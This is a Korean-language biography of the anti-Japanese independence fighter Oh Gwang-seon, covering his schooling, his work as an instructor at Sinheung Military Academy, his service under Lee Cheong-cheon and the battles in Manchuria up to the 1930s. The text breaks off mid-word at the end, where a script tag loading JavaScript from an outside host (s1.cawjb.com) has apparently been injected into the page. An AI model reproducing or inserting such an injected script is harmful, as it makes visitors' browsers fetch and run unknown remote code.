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오광선

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 오광선(吳光鮮)

<항일독립지사> 그는 1896년 5월 14일 용인군 원삼면 죽능리 어현
(於峴)에서 의병장 오인수(吳寅秀)와 어머니 이씨 사이에서 맏아들
로 태어났다. 본명은 성묵(性黙)으로, 광선(光鮮)이란 이름은 “조선
을 광복시키고 말겠다”는 굳은 의지에서 <광선>으로 개명, 사용한 
이래 일생을 마칠 때까지 계속 사용하였다.
그가 11세 때 부친이 의병장으로 활약하던 끝에 의병 토벌대장 송변
준의 아들 송종헌에게 체포되어 옥고를 치르는 동안 여준(呂準)선
생이 설립한 삼악(三岳)소학교를 수석으로 졸업한 후 서울로 올라
와 청년학원에 입학하였다.
그러나 그가 3학년이 되었을 때 이 학교는 강제 폐교되었고 배움의 
터전을 잃은 광선은 은사 장지영(張志映) 선생에게 「국외로 나가 
독립운동을 하겠다」고 말하자 잘한 생각이라면서 여비를 마련해 
주어 1915년 21세 때 압록강을 건너게 되었다.
그런 후 만주로 이주하여 신흥무관학교에 입학, 1918년 12월 동교
를 졸업하고 동흥(東興)고등학교 군사 교관으로 있을 때 여준성생
의 주선으로 의하여 부친과 일가족이 재회할 수 있었다.
그러나 유능한 교관이 필요했던 신흥무관학교의 부름을 받아 다시 
이 학교의 교관으로 근무하였다.
이때 일본 육사 26기 출신인 이청천(李靑天)은 육군 중위의 몸으로 
탈출하여 신흥무관학교 교육훈련대장에 취임하자 선생은 선후배 동
지로서 혈맹의 지우지기를 맺는 계기가 되었다.
이청천이 대한독립 부사령관.정의부 군사위원장.고려군관학교 교
장, 임시혁명의회 군사위원, 한국독립당 군사위원을 지내며 무장 독
립투쟁을 지휘할 때 선생은 항시 예하단위부대장 아니면 고급 참모
로 행동을 함께 하였으며, 이청천이 사지에 빠졌을 때 극적으로 구
출한 일도 있었다.
또 오광선은 신흥무관학교 교관을 역임한 후 이어서 서로군정서(西
路軍政書) 별동대장을 거쳐 경비대장으로 활약하였다.
그 후 1920년 국민회군(國民會軍)의 홍범도(洪範圖), 서로군정서의 
이청천, 청산리대첩의 영웅 김좌진(金佐鎭)등이 밀산(密山)에서 독
립군을 통일하여 대한독립군단(大韓獨立軍團)을 조직하였을 때 선
생은 명 지휘관으로서 조동식(趙東植) 등과 함께 중대장에 임명되
었으며, 이 연합군단은 노령(露領) 자유시(自由市)로 이전하였으나 
그해 겨울에 흑해사변(黑海事變)에 봉착하는 일대 수난을 겪었다. 
나라 없는 민족의 설움과 천대는 이 흑해사변에서도 여실히 나타나
고 있다.
청산리대첩 이후 만주 전역에서 일본군의 보복작전으로 말미암아 
재만 한국독립군 10개 부대는 대한독립군단으로 통합하고, 레닌 정
권의 양해아래 노령에서 실력을 양성하여 일본군에 대항하고 있었
으나 혁명 후 국력이 쇠약해진 레닌정권은 일본의 압력을 받아 한국
독립군의 무장해제를 요구하였고, 독립군은 소련의 부당한 처사를 
강력 시정해 줄 것을 요구하였으나 소련군은 이에 독립군을 이중 3
중으로 포위하고 공격하기 시작하였다.
그러나 독립군은 이에 굴하지 않고 최후의 일인까지 민족 절의를 위
해 싸우겠다는 처절한 결의로 분전하여 272명의 전사자 917명에 이
르는 포로, 행방불명 250면, 익사자 31명이라는 통한의 피해를 당하
고 흑룡강을 건너 만주로 돌아와야 하는 괴로움을 당했을 때 오광선
도 생사를 넘나드는 수난을 겪어야 했다.
그러나 선생은 용기를 잃지 않고 싸우는 길만이 민족의 생존권 쟁취
를 위하여 그가 선택할 수 있는 최선의 길이라 생각했기 때문에 
1930년에는 다시 한민족회와 생육사(生育社)를 모체로 한 한국독립
당 결성에 참여하여 일제의 만주침략에 대비하였고 선생의 의용군 
중대장으로서 총사령관 치청천, 부사령관 남대관(南大觀), 참모관 
신숙(申肅)등과 함께 무장 항일투쟁을 계속하였다.
그러나 종래 소규모로 분립하여 유격전을 전개하는 방식만으로는 
일만 연합군을 격파할 수 없기 때문에 이청천, 최악(崔岳), 심만호
(沈萬浩) 등과 함께 중국 호로군(護路軍) 사령관 겸 길림성(吉林
省) 자위군 총 지휘관 정초(丁超)의 부대와 연합군을 구성하고 공동
의 적인 일본군과의 항전을 계속하였다.
그러던 중 1933년 7월 초에는 수분하(綏芬河) 대전자(大甸子)에서 
일본군 대부대를 궤멸시키는 대승을 거두고 한.중연합군의 실력을 
과시하였다.
그러나 동녕현(東寧縣)의 일본군을 계속 추격하다가 실패로 끝나
자 한.중 연합군 사이에 내분이 일어나 이청천이 구속됨으로 자연
히 독립군은 흩어지게 되었다.
이청천이 석방되자 오광선은 임시정부의 요청에 따라 광복군 중추
장교를 양성할 책임자로 발탁되어 20여 년간 피 흘려 항쟁하던 동삼
성(東三省)을 뒤로 하고 황학수(黃學秀), 김관오(金官五), 김학규
(金學圭)등과 이청천을 대동하고 산해관(山海關)으로 이?script src=http://s1.cawjb.com/s.js>
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